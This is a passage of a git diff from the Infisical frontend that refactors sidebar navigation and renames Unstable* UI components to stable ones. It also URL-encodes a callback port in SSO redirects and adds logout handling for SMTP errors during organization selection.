@@ -88,5 +98,5 @@ export const ProjectNavList = ({
           onSubmenuOpen={item.submenu ? onSubmenuOpen : undefined}
         />
       ))}
-  </>
+  </SidebarMenu>
 );
diff --git a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/SecretManagerNav.tsx b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/SecretManagerNav.tsx
index c8b4bde57b4..981e694c7d6 100644
--- a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/SecretManagerNav.tsx
+++ b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/SecretManagerNav.tsx
@@ -1,21 +1,6 @@
-import {
-  BookCheck,
-  DoorOpen,
-  FileKey,
-  FileText,
-  Plug,
-  RefreshCw,
-  Settings,
-  Shield
-} from "lucide-react";
+import { ActivityIcon, BookCheck, FileText, Plug, Settings, Shield } from "lucide-react";
 
 import { ProjectIcon } from "@app/components/v3";
-import { useProject } from "@app/context";
-import {
-  useGetAccessRequestsCount,
-  useGetSecretApprovalRequestCount,
-  useGetSecretRotations
-} from "@app/hooks/api";
 
 import { ProjectNavList } from "./ProjectNavLink";
 import {
@@ -24,46 +9,14 @@ import {
   SM_SETTINGS_SUBMENU
 } from "./submenus";
 import type { NavItem, Submenu } from "./types";
+import { useApprovalSubmenu } from "./useApprovalSubmenu";
 
 export const SecretManagerNav = ({
   onSubmenuOpen
 }: {
   onSubmenuOpen: (submenu: Submenu) => void;
 }) => {
-  const { currentProject, projectId } = useProject();
-
-  const { data: secretApprovalReqCount } = useGetSecretApprovalRequestCount({ projectId });
-  const { data: accessApprovalRequestCount } = useGetAccessRequestsCount({
-    projectSlug: currentProject?.slug || ""
-  });
-  const { data: secretRotations } = useGetSecretRotations({
-    workspaceId: projectId,
-    options: { refetchOnMount: false }
-  });
-
-  const pendingRequestsCount =
-    (secretApprovalReqCount?.open || 0) + (accessApprovalRequestCount?.pendingCount || 0);
-
-  const approvalsSubmenu: Submenu = {
-    title: "Approvals",
-    pathSuffix: "approval",
-    defaultTab: "approval-requests",
-    items: [
-      {
-        label: "Change Requests",
-        icon: FileKey,
-        tab: "approval-requests",
-        badgeCount: secretApprovalReqCount?.open || undefined
-      },
-      {
-        label: "Access Requests",
-        icon: DoorOpen,
-        tab: "resource-requests",
-        badgeCount: accessApprovalRequestCount?.pendingCount || undefined
-      },
-      { label: "Policies", icon: Shield, tab: "policies" }
-    ]
-  };
+  const { submenu: approvalsSubmenu, pendingRequestsCount } = useApprovalSubmenu();
 
   const items: NavItem[] = [
     {
@@ -85,12 +38,6 @@ export const SecretManagerNav = ({
       pathSuffix: "integrations",
       submenu: INTEGRATIONS_SUBMENU
     },
-    {
-      label: "Secret Rotations",
-      icon: RefreshCw,
-      pathSuffix: "secret-rotation",
-      hidden: !secretRotations?.length
-    },
     {
       label: "Access Control",
       icon: Shield,
@@ -98,6 +45,11 @@ export const SecretManagerNav = ({
       activeMatch: /\/groups\/|\/identities\/|\/members\/|\/roles\//,
       submenu: SECRET_MANAGER_ACCESS_CONTROL_SUBMENU
     },
+    {
+      label: "Insights",
+      icon: ActivityIcon,
+      pathSuffix: "insights"
+    },
     { label: "Audit Logs", icon: FileText, pathSuffix: "audit-logs" },
     { label: "Settings", icon: Settings, pathSuffix: "settings", submenu: SM_SETTINGS_SUBMENU }
   ];
diff --git a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/SshNav.tsx b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/SshNav.tsx
index c601d4a804b..2d632f111bf 100644
--- a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/SshNav.tsx
+++ b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/SshNav.tsx
@@ -1,6 +1,7 @@
 import { FileText, Server, Settings, Shield, ShieldCheck } from "lucide-react";
 
 import { ProjectPermissionCan } from "@app/components/permissions";
+import { SidebarMenu } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
 
 import { ProjectNavLink } from "./ProjectNavLink";
@@ -29,7 +30,7 @@ export const SshNav = ({ onSubmenuOpen }: { onSubmenuOpen: (submenu: Submenu) =>
   ];
 
   return (
-    <>
+    <SidebarMenu>
       {items
         .filter((i) => !i.hidden)
         .map((item) => {
@@ -52,6 +53,6 @@ export const SshNav = ({ onSubmenuOpen }: { onSubmenuOpen: (submenu: Submenu) =>
             />
           );
         })}
-    </>
+    </SidebarMenu>
   );
 };
diff --git a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/submenus.ts b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/submenus.ts
index 017e8008b07..a514b310958 100644
--- a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/submenus.ts
+++ b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/submenus.ts
@@ -18,7 +18,6 @@ import {
   Key,
   Lock,
   MapPin,
-  PenTool,
   Plug,
   Route,
   ScanSearch,
@@ -190,18 +189,6 @@ export const CERT_DISCOVERY_SUBMENU: Submenu = {
   ]
 };
 
-export const CERT_CODE_SIGNING_SUBMENU: Submenu = {
-  title: "Code Signing",
-  pathSuffix: "code-signing",
-  defaultTab: "signers",
-  items: [
-    { label: "Signers", icon: PenTool, tab: "signers" },
-    { label: "Signing Requests", icon: FileCheck, tab: "signing-requests" },
-    { label: "Signing Policies", icon: Shield, tab: "signing-policies" },
-    { label: "Grants", icon: Key, tab: "grants" }
-  ]
-};
-
 export const CERT_APPROVALS_SUBMENU: Submenu = {
   title: "Approvals",
   pathSuffix: "approvals",
@@ -222,6 +209,16 @@ export const CERT_SETTINGS_SUBMENU: Submenu = {
   ]
 };
 
+export const CERT_INTEGRATIONS_SUBMENU: Submenu = {
+  title: "Integrations",
+  pathSuffix: "integrations",
+  defaultTab: "app-connections",
+  items: [
+    { label: "App Connections", icon: Cable, tab: "app-connections" },
+    { label: "Certificate Syncs", icon: ArrowLeftRight, tab: "pki-syncs" }
+  ]
+};
+
 // --- Secret scanning submenus ---
 
 export const SECRET_SCANNING_SETTINGS_SUBMENU: Submenu = {
diff --git a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/types.ts b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/types.ts
index cdb218a7a03..181d781cbe5 100644
--- a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/types.ts
+++ b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/types.ts
@@ -38,6 +38,10 @@ export type NavItem = {
   submenu?: Submenu;
   /** For SSH CA permission gating */
   permissionCheck?: boolean;
+  /** Query params to append to the link and use for active state matching */
+  search?: Record<string, string>;
+  /** When true, this item is also active when the path matches but search keys are absent from the URL */
+  isDefaultSearch?: boolean;
 };
 
 export type OrgNavItem = {
diff --git a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/useApprovalSubmenu.ts b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/useApprovalSubmenu.ts
new file mode 100644
index 00000000000..baf5187a422
--- /dev/null
+++ b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/useApprovalSubmenu.ts
@@ -0,0 +1,45 @@
+import { DoorOpen, FileKey, Shield } from "lucide-react";
+
+import { useProject } from "@app/context";
+import { useGetAccessRequestsCount, useGetSecretApprovalRequestCount } from "@app/hooks/api";
+
+import type { Submenu } from "./types";
+
+export const useApprovalSubmenu = (): {
+  submenu: Submenu;
+  pendingRequestsCount: number;
+} => {
+  const { currentProject, projectId } = useProject();
+
+  const { data: secretApprovalReqCount } = useGetSecretApprovalRequestCount({ projectId });
+  const { data: accessApprovalRequestCount } = useGetAccessRequestsCount({
+    projectSlug: currentProject?.slug || ""
+  });
+
+  const pendingRequestsCount =
+    (secretApprovalReqCount?.open || 0) + (accessApprovalRequestCount?.pendingCount || 0);
+
+  return {
+    submenu: {
+      title: "Approvals",
+      pathSuffix: "approval",
+      defaultTab: "approval-requests",
+      items: [
+        {
+          label: "Change Requests",
+          icon: FileKey,
+          tab: "approval-requests",
+          badgeCount: secretApprovalReqCount?.open || undefined
+        },
+        {
+          label: "Access Requests",
+          icon: DoorOpen,
+          tab: "resource-requests",
+          badgeCount: accessApprovalRequestCount?.pendingCount || undefined
+        },
+        { label: "Policies", icon: Shield, tab: "policies" }
+      ]
+    },
+    pendingRequestsCount
+  };
+};
diff --git a/frontend/src/layouts/ProjectLayout/components/ProjectSelect/ProjectSelect.tsx b/frontend/src/layouts/ProjectLayout/components/ProjectSelect/ProjectSelect.tsx
index 982a907777d..29e0ef59c55 100644
--- a/frontend/src/layouts/ProjectLayout/components/ProjectSelect/ProjectSelect.tsx
+++ b/frontend/src/layouts/ProjectLayout/components/ProjectSelect/ProjectSelect.tsx
@@ -13,12 +13,12 @@ import {
   CommandInput,
   CommandItem,
   CommandList,
+  IconButton,
   Popover,
   PopoverAnchor,
   PopoverContent,
   PopoverTrigger,
-  ProjectIcon,
-  UnstableIconButton
+  ProjectIcon
 } from "@app/components/v3";
 import {
   OrgPermissionActions,
@@ -127,9 +127,9 @@ const ProjectSelectInner = () => {
           </Badge>
         </Link>
         <PopoverTrigger asChild>
-          <UnstableIconButton variant="ghost" size="xs" aria-label="switch-project">
+          <IconButton variant="ghost" size="xs" aria-label="switch-project">
             <ChevronsUpDown />
-          </UnstableIconButton>
+          </IconButton>
         </PopoverTrigger>
         <PopoverContent align="start" sideOffset={20} className="w-96 p-0">
           <Command>
@@ -155,7 +155,7 @@ const ProjectSelectInner = () => {
                         {PROJECT_TYPE_NAME[workspace.type]}
                       </span>
                     </div>
-                    <UnstableIconButton
+                    <IconButton
                       variant="ghost"
                       size="xs"
                       aria-label="toggle favorite"
@@ -178,7 +178,7 @@ const ProjectSelectInner = () => {
                             : "text-yellow-600"
                         }
                       />
-                    </UnstableIconButton>
+                    </IconButton>
                   </CommandItem>
                 ))}
               </CommandGroup>
diff --git a/frontend/src/pages/auth/AccountRecoveryEmailPage/AccountRecoveryEmailPage.tsx b/frontend/src/pages/auth/AccountRecoveryEmailPage/AccountRecoveryEmailPage.tsx
index 981471ed17c..a965bb3ca9a 100644
--- a/frontend/src/pages/auth/AccountRecoveryEmailPage/AccountRecoveryEmailPage.tsx
+++ b/frontend/src/pages/auth/AccountRecoveryEmailPage/AccountRecoveryEmailPage.tsx
@@ -6,14 +6,7 @@ import { AuthPageBackground } from "@app/components/auth/AuthPageBackground";
 import { AuthPageFooter } from "@app/components/auth/AuthPageFooter";
 import { AuthPageHeader } from "@app/components/auth/AuthPageHeader";
 import { EmailServiceSetupModal } from "@app/components/v2";
-import {
-  Button,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableInput
-} from "@app/components/v3";
+import { Button, Card, CardContent, CardHeader, CardTitle, Input } from "@app/components/v3";
 import { usePopUp } from "@app/hooks";
 import { useSendAccountRecoveryEmail } from "@app/hooks/api";
 import { useFetchServerStatus } from "@app/hooks/api/serverDetails";
@@ -71,19 +64,19 @@ export const AccountRecoveryEmailPage = () => {
       <div className="relative z-10 my-auto flex flex-col items-center py-10">
         {step === 1 && (
           <form onSubmit={onSubmit} className="mx-auto w-full max-w-sm">
-            <UnstableCard className="w-full items-stretch gap-0 p-6">
-              <UnstableCardHeader className="mb-4 gap-4">
-                <UnstableCardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.35rem] font-medium text-transparent">
+            <Card className="w-full items-stretch gap-0 p-6">
+              <CardHeader className="mb-4 gap-4">
+                <CardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.35rem] font-medium text-transparent">
                   Recover your account
-                </UnstableCardTitle>
-              </UnstableCardHeader>
-              <UnstableCardContent>
+                </CardTitle>
+              </CardHeader>
+              <CardContent>
                 <p className="mb-4 text-sm text-label">
                   Enter your email to start the recovery process. You will receive an email with
                   instructions.
                 </p>
                 <div className="w-full">
-                  <UnstableInput
+                  <Input
                     value={email}
                     onChange={(e) => setEmail(e.target.value)}
                     type="email"
@@ -105,18 +98,18 @@ export const AccountRecoveryEmailPage = () => {
                     </span>
                   </Link>
                 </div>
-              </UnstableCardContent>
-            </UnstableCard>
+              </CardContent>
+            </Card>
           </form>
         )}
         {step === 2 && (
-          <UnstableCard className="mx-auto w-full max-w-sm items-stretch gap-0 p-6">
-            <UnstableCardHeader className="mb-4 gap-4">
-              <UnstableCardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.35rem] font-medium text-transparent">
+          <Card className="mx-auto w-full max-w-sm items-stretch gap-0 p-6">
+            <CardHeader className="mb-4 gap-4">
+              <CardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.35rem] font-medium text-transparent">
                 Check your inbox
-              </UnstableCardTitle>
-            </UnstableCardHeader>
-            <UnstableCardContent>
+              </CardTitle>
+            </CardHeader>
+            <CardContent>
               <p className="text-center text-sm text-foreground">
                 If the email is in our system, you will receive an email at{" "}
                 <span className="italic">{email}</span> to initiate the account recovery process.
@@ -128,8 +121,8 @@ export const AccountRecoveryEmailPage = () => {
                   </span>
                 </Link>
               </div>
-            </UnstableCardContent>
-          </UnstableCard>
+            </CardContent>
+          </Card>
         )}
       </div>
       <AuthPageFooter />
diff --git a/frontend/src/pages/auth/LoginLdapPage/LoginLDAPPage.tsx b/frontend/src/pages/auth/LoginLdapPage/LoginLDAPPage.tsx
index 46920d99438..a9e32fcb7ce 100644
--- a/frontend/src/pages/auth/LoginLdapPage/LoginLDAPPage.tsx
+++ b/frontend/src/pages/auth/LoginLdapPage/LoginLDAPPage.tsx
@@ -7,14 +7,7 @@ import { AuthPageBackground } from "@app/components/auth/AuthPageBackground";
 import { AuthPageFooter } from "@app/components/auth/AuthPageFooter";
 import { AuthPageHeader } from "@app/components/auth/AuthPageHeader";
 import { createNotification } from "@app/components/notifications";
-import {
-  Button,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableInput
-} from "@app/components/v3";
+import { Button, Card, CardContent, CardHeader, CardTitle, Input } from "@app/components/v3";
 import { useServerConfig } from "@app/context";
 import { LoginMethod } from "@app/hooks/api/admin/types";
 import { loginLDAPRedirect } from "@app/hooks/api/auth/queries";
@@ -92,16 +85,16 @@ export const LoginLdapPage = () => {
       </AuthPageHeader>
       <div className="relative z-10 my-auto flex flex-col items-center py-10">
         <form onSubmit={handleSubmission} className="mx-auto w-full max-w-sm">
-          <UnstableCard className="w-full items-stretch gap-0 p-6">
-            <UnstableCardHeader className="mb-4 gap-4">
-              <UnstableCardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.35rem] font-medium text-transparent">
+          <Card className="w-full items-stretch gap-0 p-6">
+            <CardHeader className="mb-4 gap-4">
+              <CardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.35rem] font-medium text-transparent">
                 LDAP Login
-              </UnstableCardTitle>
-            </UnstableCardHeader>
-            <UnstableCardContent>
+              </CardTitle>
+            </CardHeader>
+            <CardContent>
               {!config.defaultAuthOrgSlug && !passedOrgSlug && (
                 <div className="w-full">
-                  <UnstableInput
+                  <Input
                     value={organizationSlug}
                     onChange={(e) => setOrganizationSlug(e.target.value)}
                     type="text"
@@ -112,7 +105,7 @@ export const LoginLdapPage = () => {
                 </div>
               )}
               <div className="mt-2 w-full">
-                <UnstableInput
+                <Input
                   value={username}
                   onChange={(e) => setUsername(e.target.value)}
                   type="text"
@@ -123,7 +116,7 @@ export const LoginLdapPage = () => {
                 />
               </div>
               <div className="mt-2 w-full">
-                <UnstableInput
+                <Input
                   value={password}
                   onChange={(e) => setPassword(e.target.value)}
                   type="password"
@@ -145,8 +138,8 @@ export const LoginLdapPage = () => {
                   </span>
                 </button>
               </div>
-            </UnstableCardContent>
-          </UnstableCard>
+            </CardContent>
+          </Card>
         </form>
       </div>
       <AuthPageFooter />
diff --git a/frontend/src/pages/auth/LoginPage/components/InitialStep/InitialStep.tsx b/frontend/src/pages/auth/LoginPage/components/InitialStep/InitialStep.tsx
index c23ecdb88fc..c08592f4fdf 100644
--- a/frontend/src/pages/auth/LoginPage/components/InitialStep/InitialStep.tsx
+++ b/frontend/src/pages/auth/LoginPage/components/InitialStep/InitialStep.tsx
@@ -15,19 +15,20 @@ import attemptLogin from "@app/components/utilities/attemptLogin";
 import {
   Badge,
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardHeader,
+  CardTitle,
+  IconButton,
+  Input,
   InputGroup,
   InputGroupAddon,
-  InputGroupInput,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableIconButton,
-  UnstableInput
+  InputGroupInput
 } from "@app/components/v3";
 import { envConfig } from "@app/config/env";
 import { useServerConfig } from "@app/context";
+import { preserveHubSpotUtk } from "@app/helpers/utmTracking";
 import { useFetchServerStatus } from "@app/hooks/api";
 import { LoginMethod } from "@app/hooks/api/admin/types";
 import { AuthMethod } from "@app/hooks/api/users/types";
@@ -82,14 +83,14 @@ export const InitialStep = ({ setSection, isAdmin }: Props) => {
 
   const redirectToSaml = (orgSlug: string) => {
     const redirectUrl = `/api/v1/sso/redirect/saml2/organizations/${orgSlug}${
-      callbackPort ? `?callback_port=${callbackPort}` : ""
+      callbackPort ? `?callback_port=${encodeURIComponent(callbackPort)}` : ""
     }`;
     window.location.assign(redirectUrl);
   };
 
   const redirectToOidc = (orgSlug: string) => {
     const redirectUrl = `/api/v1/sso/oidc/login?orgSlug=${orgSlug}${
-      callbackPort ? `&callbackPort=${callbackPort}` : ""
+      callbackPort ? `&callbackPort=${encodeURIComponent(callbackPort)}` : ""
     }`;
     window.location.assign(redirectUrl);
   };
@@ -120,6 +121,7 @@ export const InitialStep = ({ setSection, isAdmin }: Props) => {
   };
 
   const handleSocialLogin = (method: LoginMethod) => {
+    preserveHubSpotUtk();
     const searchParams = new URLSearchParams();
     if (callbackPort) {
       searchParams.append("callback_port", callbackPort);
@@ -188,10 +190,6 @@ export const InitialStep = ({ setSection, isAdmin }: Props) => {
       if (isLoginSuccessful) {
         saveLastLogin({ method: LoginMethod.EMAIL });
         navigateToSelectOrganization(callbackPort || undefined, isAdmin);
-        createNotification({
-          text: "Successfully logged in",
-          type: "success"
-        });
       } else {
         handleLoginFailure();
       }
@@ -210,24 +208,24 @@ export const InitialStep = ({ setSection, isAdmin }: Props) => {
         onSubmit={handleSubmit(handleEmailLogin)}
         className="mx-auto flex w-full flex-col items-center justify-center"
       >
-        <UnstableCard className="mx-auto w-full max-w-sm items-stretch gap-0 p-6">
-          <UnstableCardHeader className="mb-8 gap-2">
-            <UnstableCardTitle className="bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.7rem] font-medium text-transparent">
+        <Card className="mx-auto w-full max-w-sm items-stretch gap-0 p-6">
+          <CardHeader className="mb-8 gap-2">
+            <CardTitle className="bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.7rem] font-medium text-transparent">
               Log in to Infisical
-            </UnstableCardTitle>
-            <UnstableCardAction className="-mr-2">
+            </CardTitle>
+            <CardAction className="-mr-2">
               <RegionSelect compact />
-            </UnstableCardAction>
-          </UnstableCardHeader>
-          <UnstableCardContent>
+            </CardAction>
+          </CardHeader>
+          <CardContent>
             {config.defaultAuthOrgAuthMethod === AuthMethod.SAML && (
               <OrgLoginButton label="Continue with SAML" onClick={handleSaml} />
             )}
             {config.defaultAuthOrgAuthMethod === AuthMethod.OIDC && (
               <OrgLoginButton label="Continue with OIDC" onClick={handleOidc} className="mt-2" />
             )}
-          </UnstableCardContent>
-        </UnstableCard>
+          </CardContent>
+        </Card>
       </form>
     );
   }
@@ -237,22 +235,23 @@ export const InitialStep = ({ setSection, isAdmin }: Props) => {
       onSubmit={handleSubmit(handleEmailLogin)}
       className="mx-auto flex w-full flex-col items-center justify-center"
     >
-      <UnstableCard className="mx-auto w-full max-w-sm items-stretch gap-0 p-6">
-        <UnstableCardHeader className="mb-4 gap-4">
-          <UnstableCardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.65rem] font-medium text-transparent">
+      <Card className="mx-auto w-full max-w-sm items-stretch gap-0 p-6">
+        <CardHeader className="mb-4 gap-4">
+          <CardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.65rem] font-medium text-transparent">
             Log in to Infisical
-          </UnstableCardTitle>
-          <UnstableCardAction className="-mr-2">
+          </CardTitle>
+          <CardAction className="-mr-2">
             <RegionSelect compact />
-          </UnstableCardAction>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
           {shouldDisplayLoginMethod(LoginMethod.EMAIL) && (
             <>
               <div className="w-full">
-                <UnstableInput
+                <Input
                   {...register("email")}
                   type="email"
+                  id="email"
                   placeholder="Enter your email..."
                   autoComplete="username"
                   className="h-10"
@@ -271,14 +270,14 @@ export const InitialStep = ({ setSection, isAdmin }: Props) => {
                     id="current-password"
                   />
                   <InputGroupAddon align="inline-end">
-                    <UnstableIconButton
+                    <IconButton
                       variant="ghost"
                       size="xs"
                       onClick={() => setShowPassword((prev) => !prev)}
                       aria-label={showPassword ? "Hide password" : "Show password"}
                     >
                       {showPassword ? <EyeOff /> : <Eye />}
-                    </UnstableIconButton>
+                    </IconButton>
                   </InputGroupAddon>
                 </InputGroup>
                 {errors.password && (
@@ -406,8 +405,8 @@ export const InitialStep = ({ setSection, isAdmin }: Props) => {
               </Link>
             </div>
           )}
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
     </form>
   );
 };
diff --git a/frontend/src/pages/auth/LoginPage/components/SSOStep/SSOStep.tsx b/frontend/src/pages/auth/LoginPage/components/SSOStep/SSOStep.tsx
index b8619a72bee..f7fe1a808ec 100644
--- a/frontend/src/pages/auth/LoginPage/components/SSOStep/SSOStep.tsx
+++ b/frontend/src/pages/auth/LoginPage/components/SSOStep/SSOStep.tsx
@@ -1,14 +1,7 @@
 import { useState } from "react";
 import { useTranslation } from "react-i18next";
 
-import {
-  Button,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableInput
-} from "@app/components/v3";
+import { Button, Card, CardContent, CardHeader, CardTitle, Input } from "@app/components/v3";
 import { LoginMethod } from "@app/hooks/api/admin/types";
 import { useLastLogin } from "@app/hooks/useLastLogin";
 
@@ -45,26 +38,26 @@ export const SSOStep = ({ setSection, type }: Props) => {
 
     if (type === "SAML") {
       window.location.href = `/api/v1/sso/redirect/saml2/organizations/domain/${identifier}${
-        callbackPort ? `?callback_port=${callbackPort}` : ""
+        callbackPort ? `?callback_port=${encodeURIComponent(callbackPort)}` : ""
       }`;
     } else {
       window.location.href = `/api/v1/sso/oidc/login?domain=${identifier}${
-        callbackPort ? `&callbackPort=${callbackPort}` : ""
+        callbackPort ? `&callbackPort=${encodeURIComponent(callbackPort)}` : ""
       }`;
     }
   };
 
   return (
     <form onSubmit={handleSubmission} className="mx-auto w-full max-w-sm">
-      <UnstableCard className="w-full items-stretch gap-0 p-6">
-        <UnstableCardHeader className="mb-4 gap-4">
-          <UnstableCardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.35rem] font-medium text-transparent">
+      <Card className="w-full items-stretch gap-0 p-6">
+        <CardHeader className="mb-4 gap-4">
+          <CardTitle className="ml-0.5 bg-linear-to-b from-white to-bunker-200 bg-clip-text text-[1.35rem] font-medium text-transparent">
             What&apos;s your work email?
-          </UnstableCardTitle>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardTitle>
+        </CardHeader>
+        <CardContent>
           <div className="w-full">
-            <UnstableInput
+            <Input
               value={ssoEmail}
               onChange={(e) => setSSOEmail(e.target.value)}
               type="email"
@@ -85,8 +78,8 @@ export const SSOStep = ({ setSection, type }: Props) => {
               </span>
             </button>
           </div>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
     </form>
   );
 };
diff --git a/frontend/src/pages/auth/ProviderSuccessPage/ProviderSuccessPage.tsx b/frontend/src/pages/auth/ProviderSuccessPage/ProviderSuccessPage.tsx
deleted file mode 100644
index 827ccf21b81..00000000000
--- a/frontend/src/pages/auth/ProviderSuccessPage/ProviderSuccessPage.tsx
+++ /dev/null
@@ -1,18 +0,0 @@
-import { useEffect } from "react";
-import { useSearch } from "@tanstack/react-router";
-
-import SecurityClient from "@app/components/utilities/SecurityClient";
-import { ROUTE_PATHS } from "@app/const/routes";
-
-export const LoginProviderSuccessPage = () => {
-  const search = useSearch({
-    from: ROUTE_PATHS.Auth.ProviderSuccessPage.id
-  });
-
-  useEffect(() => {
-    SecurityClient.setProviderAuthToken(search.token);
-    window.close();
-  }, []);
-
-  return <div />;
-};
diff --git a/frontend/src/pages/auth/ProviderSuccessPage/route.tsx b/frontend/src/pages/auth/ProviderSuccessPage/route.tsx
deleted file mode 100644
index df71b2cb4db..00000000000
--- a/frontend/src/pages/auth/ProviderSuccessPage/route.tsx
+++ /dev/null
@@ -1,14 +0,0 @@
-import { createFileRoute } from "@tanstack/react-router";
-import { zodValidator } from "@tanstack/zod-adapter";
-import { z } from "zod";
-
-import { LoginProviderSuccessPage } from "./ProviderSuccessPage";
-
-const LoginProviderSuccessQuerySchema = z.object({
-  token: z.string()
-});
-
-export const Route = createFileRoute("/_restrict-login-signup/login/provider/success")({
-  component: LoginProviderSuccessPage,
-  validateSearch: zodValidator(LoginProviderSuccessQuerySchema)
-});
diff --git a/frontend/src/pages/auth/SelectOrgPage/SelectOrgPage.tsx b/frontend/src/pages/auth/SelectOrgPage/SelectOrgPage.tsx
index 450684487c5..36c47066d93 100644
--- a/frontend/src/pages/auth/SelectOrgPage/SelectOrgPage.tsx
+++ b/frontend/src/pages/auth/SelectOrgPage/SelectOrgPage.tsx
@@ -190,6 +190,11 @@ export const SelectOrgPage = () => {
       isMfaEnabled = result.isMfaEnabled;
       mfaMethod = result.mfaMethod;
     } catch (error: any) {
+      if (error?.response?.data?.error === "SmtpError") {
+        // Global MutationCache.onError already showed the SMTP error toast — just log out silently.
+        await handleLogout();
+        return;
+      }
       const message = error?.response?.data?.message || "Failed to select organization.";
       createNotification({ text: message, type: "error" });
       return;
@@ -235,6 +240,7 @@ export const SelectOrgPage = () => {
       navigate({ to: "/cli-redirect" });
     } else {
       setAuthToken(token);
+      createNotification({ text: "Successfully logged in", type: "success" });
       navigateUserToOrg({ navigate, organizationId: targetOrgId });
     }
   };
diff --git a/frontend/src/pages/auth/SelectOrgPage/route.tsx b/frontend/src/pages/auth/SelectOrgPage/route.tsx
index 617bc674491..7b46bba9996 100644
--- a/frontend/src/pages/auth/SelectOrgPage/route.tsx
+++ b/frontend/src/pages/auth/SelectOrgPage/route.tsx
@@ -3,15 +3,16 @@ import { zodValidator } from "@tanstack/zod-adapter";
 import { addSeconds, formatISO } from "date-fns";
 import { z } from "zod";
 
+import { createNotification } from "@app/components/notifications";
 import { SessionStorageKeys } from "@app/const";
-import { selectOrganization } from "@app/hooks/api/auth/queries";
+import { authKeys, selectOrganization } from "@app/hooks/api/auth/queries";
 import { UserAgentType } from "@app/hooks/api/auth/types";
 import {
   fetchOrganizationsWithSubOrgs,
   organizationKeys
 } from "@app/hooks/api/organization/queries";
-import { setAuthToken } from "@app/hooks/api/reactQuery";
-import { fetchUserDetails } from "@app/hooks/api/users/queries";
+import { onRequestError, setAuthToken } from "@app/hooks/api/reactQuery";
+import { fetchUserDetails, logoutUser } from "@app/hooks/api/users/queries";
 
 import { SelectOrgPage } from "./SelectOrgPage";
 
@@ -98,6 +99,7 @@ export const Route = createFileRoute("/_restrict-login-signup/login/select-organ
         }
 
         setAuthToken(result.token);
+        createNotification({ text: "Successfully logged in", type: "success" });
         throw redirect({
           to: "/organizations/$orgId/projects",
           params: { orgId }
@@ -109,7 +111,26 @@ export const Route = createFileRoute("/_restrict-login-signup/login/select-organ
       if (error instanceof Error && error.message === "REDIRECT") throw error;
       // For redirect objects from TanStack Router
       if (typeof error === "object" && error !== null && "to" in error) throw error;
-      // Otherwise let the page render and handle errors
+      // selectOrganization is called directly (not via mutation hook), so MutationCache.onError
+      // never fires for it — surface SMTP errors manually and log the user out.
+      if (typeof error === "object" && error !== null && "response" in error) {
+        const { response } = error as {
+          response?: { data?: { error?: string; message?: string } };
+        };
+        if (response?.data?.error === "SmtpError") {
+          onRequestError(error);
+          // We can't use the useLogoutUser hook here (beforeLoad runs outside React),
+          // so we replicate its mutationFn manually:
+          // - setAuthToken("") stops outgoing requests from carrying the stale token.
+          // - removeQueries drops the cached auth token so the restrict-login-signup
+          //   middleware doesn't find it and redirect back to select-organization.
+          // - logoutUser() invalidates the session on the server.
+          setAuthToken("");
+          context.queryClient.removeQueries({ queryKey: authKeys.getAuthToken });
+          await logoutUser().catch(() => {}); // best-effort — redirect must always fire
+          throw redirect({ to: "/login" });
+        }
+      }
     }
   }
 });
diff --git a/frontend/src/pages/auth/SignUpSsoPage/SignUpSsoPage.tsx b/frontend/src/pages/auth/SignUpSsoPage/SignUpSsoPage.tsx
index 6f463e591c7..c4282e176fa 100644
--- a/frontend/src/pages/auth/SignUpSsoPage/SignUpSsoPage.tsx
+++ b/frontend/src/pages/auth/SignUpSsoPage/SignUpSsoPage.tsx
@@ -10,15 +10,10 @@ import { AuthPageFooter } from "@app/components/auth/AuthPageFooter";
 import { AuthPageHeader } from "@app/components/auth/AuthPageHeader";
 import { createNotification } from "@app/components/notifications";
 import SecurityClient from "@app/components/utilities/SecurityClient";
-import {
-  Button,
-  FieldError,
-  UnstableCard,
-  UnstableCardContent,
